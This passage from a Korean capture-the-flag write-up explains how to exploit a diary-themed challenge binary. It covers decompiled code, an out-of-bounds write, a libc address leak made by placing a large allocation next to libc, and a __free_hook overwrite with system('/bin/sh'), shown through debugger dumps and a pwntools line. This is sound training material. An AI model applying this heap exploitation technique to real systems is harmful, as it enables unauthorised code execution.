</span></span><span class="line"><span class="cl">    <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">      <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Wrong input&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="n">uVar2</span> <span class="o">=</span> <span class="nf">santa_came</span><span class="p">((</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1a8</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">((</span><span class="kt">int</span><span class="p">)</span><span class="n">uVar2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Santa Claus just left...&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* WARNING: Subroutine does not return */</span>
</span></span><span class="line"><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Santa Claus : Oh... You</span><span class="se">\&#39;</span><span class="s">re such an honest kid.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Santa Claus : Tell me if you have any memories you want to change and erase in this year.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="n">local_1bc</span> <span class="o">=</span> <span class="nf">check_offset</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="n">local_1bc</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* WARNING: Subroutine does not return */</span>
</span></span><span class="line"><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;what line you edit : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="nf">__isoc99_scanf</span><span class="p">(</span><span class="o">&amp;</span><span class="n">DAT_001019ed</span><span class="p">,</span><span class="o">&amp;</span><span class="n">local_1b0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">if</span> <span class="p">(</span><span class="o">-</span><span class="mi">1</span> <span class="o">&lt;</span> <span class="n">local_1b0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nf">printf</span><span class="p">(</span><span class="s">&#34;Change memories to : &#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,(</span><span class="kt">void</span> <span class="o">*</span><span class="p">)((</span><span class="kt">long</span><span class="p">)</span><span class="n">apvStack_1a0</span><span class="p">[(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1bc</span> <span class="o">*</span> <span class="mi">2</span><span class="p">]</span> <span class="o">+</span> <span class="p">(</span><span class="n">local_1b0</span> <span class="o">+</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="mh">0x10</span><span class="p">),</span><span class="mh">0x10</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="nf">free</span><span class="p">(</span><span class="n">apvStack_1a0</span><span class="p">[(</span><span class="kt">long</span><span class="p">)</span><span class="n">local_1bc</span> <span class="o">*</span> <span class="mi">2</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* WARNING: Subroutine does not return */</span>
</span></span><span class="line"><span class="cl">    <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;Wrong input&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                    <span class="cm">/* WARNING: Subroutine does not return */</span>
</span></span><span class="line"><span class="cl">  <span class="nf">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><p>바이너리를 실행하면, 산타가 뭘 어쩌고 주륵 나온 다음 이후 각 번호에 따라 어떤 작업을 실행할지 고르는 부분이 나온다. 1번을 선택하면 날자와 입력할 텍스트의 크기, 텍스트를 입력받는다. 2번을 선택하면 1번에서 입력한 일자 중 하나의 일자를 골라 텍스트가 존재하는 메모리 주소와 텍스트 내용을 출력한다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="p">...</span><span class="err">생략</span><span class="p">...</span>
</span></span><span class="line"><span class="cl"><span class="n">I</span> <span class="n">think</span> <span class="n">he</span> <span class="n">will</span> <span class="n">cheat</span> <span class="n">on</span> <span class="n">my</span> <span class="n">diary</span><span class="o">!!!</span>
</span></span><span class="line"><span class="cl"><span class="n">But</span> <span class="n">i</span> <span class="n">didn</span><span class="err">&#39;</span><span class="n">t</span> <span class="n">write</span> <span class="n">a</span> <span class="n">diary</span> <span class="n">this</span> <span class="n">month</span><span class="p">.</span>
</span></span><span class="line"><span class="cl"><span class="n">Can</span> <span class="n">you</span> <span class="n">help</span> <span class="n">me</span><span class="o">?</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="mf">1.</span> <span class="n">Write</span> <span class="n">diary</span>
</span></span><span class="line"><span class="cl"><span class="mf">2.</span> <span class="n">Read</span> <span class="n">diary</span>
</span></span><span class="line"><span class="cl"><span class="mf">3.</span> <span class="n">Go</span> <span class="n">to</span> <span class="n">sleep</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">What</span> <span class="n">date</span> <span class="n">is</span> <span class="n">it</span><span class="o">?</span> <span class="o">:</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl"><span class="n">How</span> <span class="n">many</span> <span class="n">lines</span> <span class="n">will</span> <span class="n">to</span> <span class="n">write</span><span class="o">?</span> <span class="p">(</span><span class="mi">1</span> <span class="n">line</span> <span class="o">=</span> <span class="mi">16</span> <span class="n">words</span><span class="p">)</span> <span class="o">:</span> <span class="mi">1000</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">~~~~~~~~~~</span><span class="n">contents</span><span class="o">~~~~~~~~~~</span>
</span></span><span class="line"><span class="cl"><span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="mf">1.</span> <span class="n">Write</span> <span class="n">diary</span>
</span></span><span class="line"><span class="cl"><span class="mf">2.</span> <span class="n">Read</span> <span class="n">diary</span>
</span></span><span class="line"><span class="cl"><span class="mf">3.</span> <span class="n">Go</span> <span class="n">to</span> <span class="n">sleep</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl"><span class="n">What</span> <span class="n">date</span> <span class="n">is</span> <span class="n">it</span><span class="o">?</span> <span class="o">:</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nl">Pages</span> <span class="p">:</span> <span class="mh">0x55c89d56a260</span>
</span></span><span class="line"><span class="cl"><span class="nl">Contents</span> <span class="p">:</span> <span class="o">/</span><span class="n">bin</span><span class="o">/</span><span class="n">sh</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="mf">1.</span> <span class="n">Write</span> <span class="n">diary</span>
</span></span><span class="line"><span class="cl"><span class="mf">2.</span> <span class="n">Read</span> <span class="n">diary</span>
</span></span><span class="line"><span class="cl"><span class="mf">3.</span> <span class="n">Go</span> <span class="n">to</span> <span class="n">sleep</span>
</span></span><span class="line"><span class="cl"><span class="o">&gt;&gt;</span> 
</span></span></code></pre></div><p>디컴파일한 main함수를 잘 살펴보면 3번을 선택했을 때 조건에 따라 다른 기능을 수행하는 부분이 있다. santa_came() 함수에서 기존에 작성한 메시지의 갯수를 검사해 24개보다 작으면 exit() 함수를 호출해 종료한다.</p>
<p>24 이상인 경우 check_offset() 함수를 통해 날짜를 물어본다. 이부분에서 0보다 크로 25보다 작은 값을 입력하면 해당 함수를 끝내고 다음으로 넘어간다. 이후 수정하고자 하는 라인을 입력받고 read함수를 이용해 수정한다. 그 다음으로 위에서 물어본 날짜의 지점을 free 함수를 통해 메모리 해제를 진행한다.</p>
<p>간단하게 말로 설명했지만 어셈과 동적 디버딩을 통해 직접 코드를이해하는 편이 바람직 하다. 여기서 봐야할 점은 check_offset() 이후 부분이다. 수정하기 위한 값을 입력받는 부분에서 검증이 미흡해 작성한 라인 수보다 더 큰 값을 넣을 수 있고 이를 통해 결과적으로 read함수를 이용해 값을 쓰는 코드에서 Out Of Bound 취약점이 발생한다. read 이후 free를 통해 메모리를 해제하는 과정을 거치게 되는데 여기서 free hook 취약점을 이용해 풀어보려 한다.</p>
<p>free hook 취약점은 기존 free함수가 동작하기 전 디버깅 목적으로 존재하는 기능인데 메모리 상의 free hook에 함수 주소가 존재하면 free 하기 전에 함수를 free하고자 하는 대상을 인자로 받아 실행한다. 이러한 hook취약점은 free뿐만 아니라 malloc 같은 함수에서도 발생한다.</p>
<hr>
<p>여기서 한가지 트릭을 이용해 익스플로잇 할 예정이다. malloc을 통해 할당된 메모리는 heap영역에 할당된다. 우리가 익스코드를 작성할떄 heap주소에서 스택이나 libc주소 까지 음수 값 때문에 계산이 안되거나 너무 큰 수를 넘어야 하는 경우가 있다. 이럴 때 heap크기를 무작정 키워보면 편하다. heap과 libc의 거리는 큰 차이가 있지만 heap chunk보다 큰 값을 요청하면 libc 바로 위의 메모리에 공간을 따로 할당해 주기 때문에 익스플로잇 하기 더 수월하다. 이를 직접 살펴보자.</p>
<p>아래 예시는 문제 바이너리에 /bin/sh 문자열을 넣고 malloc 할당 크기만 다르게 하여 gdb로 확인한 것이다. 기존의 malloc이 heap chunk 안에서 할당된 경우는 다음과 같다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">vmmap</span>
</span></span><span class="line"><span class="cl"><span class="nl">LEGEND</span><span class="p">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
</span></span><span class="line"><span class="cl">             <span class="n">Start</span>                <span class="n">End</span> <span class="n">Perm</span>     <span class="n">Size</span> <span class="n">Offset</span> <span class="n">File</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x55d737600000</span>     <span class="mh">0x55d737602000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span>     <span class="mi">2000</span>      <span class="mi">0</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">santa_coming_to_town</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x55d737801000</span>     <span class="mh">0x55d737802000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span>     <span class="mi">1000</span>   <span class="mi">1000</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">santa_coming_to_town</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x55d737802000</span>     <span class="mh">0x55d737803000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>     <span class="mi">1000</span>   <span class="mi">2000</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">santa_coming_to_town</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x55d739403000</span>     <span class="mh">0x55d739424000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>    <span class="mi">21000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">heap</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fbabe0ba000</span>     <span class="mh">0x7fbabe2a1000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span>   <span class="mf">1e7000</span>      <span class="mi">0</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span><span class="mf">.6</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fbabe2a1000</span>     <span class="mh">0x7fbabe4a1000</span> <span class="o">---</span><span class="n">p</span>   <span class="mi">200000</span> <span class="mf">1e7000</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span><span class="mf">.6</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fbabe4a1000</span>     <span class="mh">0x7fbabe4a5000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span>     <span class="mi">4000</span> <span class="mf">1e7000</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span><span class="mf">.6</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fbabe4a5000</span>     <span class="mh">0x7fbabe4a7000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>     <span class="mi">2000</span> <span class="mi">1</span><span class="n">eb000</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span><span class="mf">.6</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fbabe4a7000</span>     <span class="mh">0x7fbabe4ab000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>     <span class="mi">4000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">anon_7fbabe4a7</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fbabe4ab000</span>     <span class="mh">0x7fbabe4d4000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span>    <span class="mi">29000</span>      <span class="mi">0</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">/</span><span class="n">ld</span><span class="o">-</span><span class="mf">2.27</span><span class="p">.</span><span class="n">so</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fbabe6d2000</span>     <span class="mh">0x7fbabe6d4000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>     <span class="mi">2000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">anon_7fbabe6d2</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fbabe6d4000</span>     <span class="mh">0x7fbabe6d5000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span>     <span class="mi">1000</span>  <span class="mi">29000</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">/</span><span class="n">ld</span><span class="o">-</span><span class="mf">2.27</span><span class="p">.</span><span class="n">so</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fbabe6d5000</span>     <span class="mh">0x7fbabe6d6000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>     <span class="mi">1000</span>  <span class="mi">2</span><span class="n">a000</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">/</span><span class="n">ld</span><span class="o">-</span><span class="mf">2.27</span><span class="p">.</span><span class="n">so</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fbabe6d6000</span>     <span class="mh">0x7fbabe6d7000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>     <span class="mi">1000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">anon_7fbabe6d6</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7ffcd9a9e000</span>     <span class="mh">0x7ffcd9abf000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>    <span class="mi">21000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">stack</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7ffcd9bdd000</span>     <span class="mh">0x7ffcd9be1000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span>     <span class="mi">4000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">vvar</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7ffcd9be1000</span>     <span class="mh">0x7ffcd9be3000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span>     <span class="mi">2000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">vdso</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="mh">0xffffffffff600000</span> <span class="mh">0xffffffffff601000</span> <span class="o">--</span><span class="n">xp</span>     <span class="mi">1000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">vsyscall</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">32</span><span class="n">s</span> <span class="mh">0x55d739403260</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x55d739403260</span><span class="o">:</span> <span class="s">&#34;/bin/sh&#34;</span>
</span></span></code></pre></div><p>위와 같이 heap과 libc의 주소차이가 큰것을 볼 수 있다. 다음으로 아래는 heap chunk보다 큰 값을 malloc 한 경우다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">vmmap</span>
</span></span><span class="line"><span class="cl"><span class="nl">LEGEND</span><span class="p">:</span> <span class="n">STACK</span> <span class="o">|</span> <span class="n">HEAP</span> <span class="o">|</span> <span class="n">CODE</span> <span class="o">|</span> <span class="n">DATA</span> <span class="o">|</span> <span class="n">RWX</span> <span class="o">|</span> <span class="n">RODATA</span>
</span></span><span class="line"><span class="cl">             <span class="n">Start</span>                <span class="n">End</span> <span class="n">Perm</span>     <span class="n">Size</span> <span class="n">Offset</span> <span class="n">File</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x555639800000</span>     <span class="mh">0x555639802000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span>     <span class="mi">2000</span>      <span class="mi">0</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">santa_coming_to_town</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x555639a01000</span>     <span class="mh">0x555639a02000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span>     <span class="mi">1000</span>   <span class="mi">1000</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">santa_coming_to_town</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x555639a02000</span>     <span class="mh">0x555639a03000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>     <span class="mi">1000</span>   <span class="mi">2000</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">santa_coming_to_town</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x55563a6a5000</span>     <span class="mh">0x55563a6c6000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>    <span class="mi">21000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">heap</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fe0f3f56000</span>     <span class="mh">0x7fe0f4136000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>   <span class="mf">1e0000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">anon_7fe0f3f56</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fe0f4136000</span>     <span class="mh">0x7fe0f431d000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span>   <span class="mf">1e7000</span>      <span class="mi">0</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span><span class="mf">.6</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fe0f431d000</span>     <span class="mh">0x7fe0f451d000</span> <span class="o">---</span><span class="n">p</span>   <span class="mi">200000</span> <span class="mf">1e7000</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span><span class="mf">.6</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fe0f451d000</span>     <span class="mh">0x7fe0f4521000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span>     <span class="mi">4000</span> <span class="mf">1e7000</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span><span class="mf">.6</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fe0f4521000</span>     <span class="mh">0x7fe0f4523000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>     <span class="mi">2000</span> <span class="mi">1</span><span class="n">eb000</span> <span class="o">/</span><span class="n">home</span><span class="o">/</span><span class="n">libc</span><span class="p">.</span><span class="n">so</span><span class="mf">.6</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fe0f4523000</span>     <span class="mh">0x7fe0f4527000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>     <span class="mi">4000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">anon_7fe0f4523</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fe0f4527000</span>     <span class="mh">0x7fe0f4550000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span>    <span class="mi">29000</span>      <span class="mi">0</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">/</span><span class="n">ld</span><span class="o">-</span><span class="mf">2.27</span><span class="p">.</span><span class="n">so</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fe0f456e000</span>     <span class="mh">0x7fe0f4750000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>   <span class="mf">1e2000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">anon_7fe0f456e</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fe0f4750000</span>     <span class="mh">0x7fe0f4751000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span>     <span class="mi">1000</span>  <span class="mi">29000</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">/</span><span class="n">ld</span><span class="o">-</span><span class="mf">2.27</span><span class="p">.</span><span class="n">so</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fe0f4751000</span>     <span class="mh">0x7fe0f4752000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>     <span class="mi">1000</span>  <span class="mi">2</span><span class="n">a000</span> <span class="o">/</span><span class="n">lib</span><span class="o">/</span><span class="n">x86_64</span><span class="o">-</span><span class="n">linux</span><span class="o">-</span><span class="n">gnu</span><span class="o">/</span><span class="n">ld</span><span class="o">-</span><span class="mf">2.27</span><span class="p">.</span><span class="n">so</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7fe0f4752000</span>     <span class="mh">0x7fe0f4753000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>     <span class="mi">1000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">anon_7fe0f4752</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7ffdf0e5f000</span>     <span class="mh">0x7ffdf0e80000</span> <span class="n">rw</span><span class="o">-</span><span class="n">p</span>    <span class="mi">21000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">stack</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7ffdf0f4e000</span>     <span class="mh">0x7ffdf0f52000</span> <span class="n">r</span><span class="o">--</span><span class="n">p</span>     <span class="mi">4000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">vvar</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="mh">0x7ffdf0f52000</span>     <span class="mh">0x7ffdf0f54000</span> <span class="n">r</span><span class="o">-</span><span class="n">xp</span>     <span class="mi">2000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">vdso</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="mh">0xffffffffff600000</span> <span class="mh">0xffffffffff601000</span> <span class="o">--</span><span class="n">xp</span>     <span class="mi">1000</span>      <span class="mi">0</span> <span class="p">[</span><span class="n">vsyscall</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">pwndbg</span><span class="o">&gt;</span> <span class="n">x</span><span class="o">/</span><span class="mi">16</span><span class="n">s</span> <span class="mh">0x7fe0f3f56000</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56000</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56001</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56002</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56003</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56004</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56005</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56006</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56007</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56008</span><span class="o">:</span> <span class="s">&#34;</span><span class="se">\002\200\002</span><span class="s">&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f5600c</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f5600d</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f5600e</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f5600f</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56010</span><span class="o">:</span> <span class="s">&#34;/bin/sh&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56018</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span><span class="line"><span class="cl"><span class="mh">0x7fe0f3f56019</span><span class="o">:</span> <span class="s">&#34;&#34;</span>
</span></span></code></pre></div><p>기존과 다르게 anon_7fe0f3f56라는 메모리에 문자열이 들어있으며 libc 바로 위에 위치하는것을 볼 수 있다.</p>
<hr>
<p>익스플로잇 코드를 간단히 설명해보겠다. 우선 /bin/sh라는 문자열을 24번 write한다. 이후 2번 메뉴를 통해 24번쨰 글을 출력해서 해당 문자열이 위치한 주소를 얻은다음 libc까지의 offset을 구해 libc 주소를 leak 한다. 이렇게 libc주소를 구하면 offset 계산을 통해 free_hook, system 함수를 사용할 수 있다.</p>
<p>이후 3번 메뉴를 들어가면 오늘 날짜를 물어본다. 24일이라고 답을 하면 어떤 라인을 수정할 것인지 물어본다. 기드라를 통해 확인해 본 결과 직전에 물어본 오늘 날짜의 대한 문자열이 저장되는 메모리 주소에서 입력받은 숫자에 0x10e곱하고 0x1를 뺀 값을 더한 위치에 값을 read 한다. 따라서 libc_base + free_hook_offset에서  2번 메뉴를 통해 출력된 주소를 뺀 값을 입력하면 free hook에 접근 할 수 있다.</p>
<p>이제 어떤 값을 쓸 것인지 물어본다. 이 부분에는 system 함수의 주소를 넣어주면 이후 free함수의 인자로 주어진 메모리 영역의 문자열을 인자 삼아서 free함수 보다 free_hook이 먼저 실행된다. 그럼 결과적으로 24번째 메모리에 들어있는 /bin/sh를 인자로 하여 system 함수가 실행되기 때문에 shell을 얻을 수 있다.</p>
<p>free_hook을 오버라이트 하는 도중 계속 실패해서 gdb를 통해 찍어봤는데</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">c</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;to : &#34;</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">system</span><span class="p">))</span>
</span></span></code></pre></div><p>위 코드를 이용하면 free_hook-0x8의 위치에 system주소가 들어가는것을 확인했다. 따라서 이를 다음과 같이 수정했다.</p>
